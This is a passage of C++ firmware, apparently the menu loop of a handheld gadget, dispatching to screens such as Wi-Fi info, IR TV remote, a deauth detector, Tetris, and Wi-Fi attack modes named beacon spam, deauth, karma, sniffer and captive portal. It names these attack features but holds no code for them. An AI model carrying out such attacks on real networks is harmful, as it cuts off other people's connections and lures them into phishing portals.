case WIFI_INFO:         tickWifiInfo(entered);          break;
case WIFI_STATUS:       tickWifiStatus(entered);        break;
case WIFI_HOTSPOT:      tickHotspot(entered);           break;
case BEACON_SPAM:       tickBeaconSpam(entered);        break;
case CAPTIVE_PORTAL:    tickCaptivePortal(entered);     break;
case SNIFFER:           tickSniffer(entered);           break;
case DEAUTH:            tickDeauth(entered);            break;
case RADAR:             tickRadar(entered);             break;
case DEAUTH_DETECTOR:   tickDeauthDetector(entered);    break;
case KARMA:             tickKarma(entered);             break;
case IR_MENU:           tickIrMenu(entered);            break;
case IR_TV_BRANDS:      tickIrBrands(entered);          break;
case IR_TV_MODELS:      tickIrModels(entered);          break;
case IR_TV_REMOTE:      tickIrRemote(entered);          break;
case IR_RECEIVE:        tickIrReceive(entered);         break;
case IR_SAVED:          tickIrSaved(entered);           break;
case DISPLAY_TEST:      tickDisplayTest(entered);       break;
case INFO:              tickInfo(entered);              break;
case SETTINGS:          tickSettings(entered);          break;
case ARGUS_HUB:         tickArgusHub(entered);           break;
case RGB_MENU:          tickRGBMenu(entered);              break;
 case TETRIS_GAME:       CuteTetris::tick(entered);              break;
case ARGUS_LINK:        tickArgusLink(entered);                   break;

default:                screen = MAIN;                  break;

}

if (screen != prevScreen) {
prevScreen = screen;
screenEntered = true;
}
rgbTick();
delay(5);
}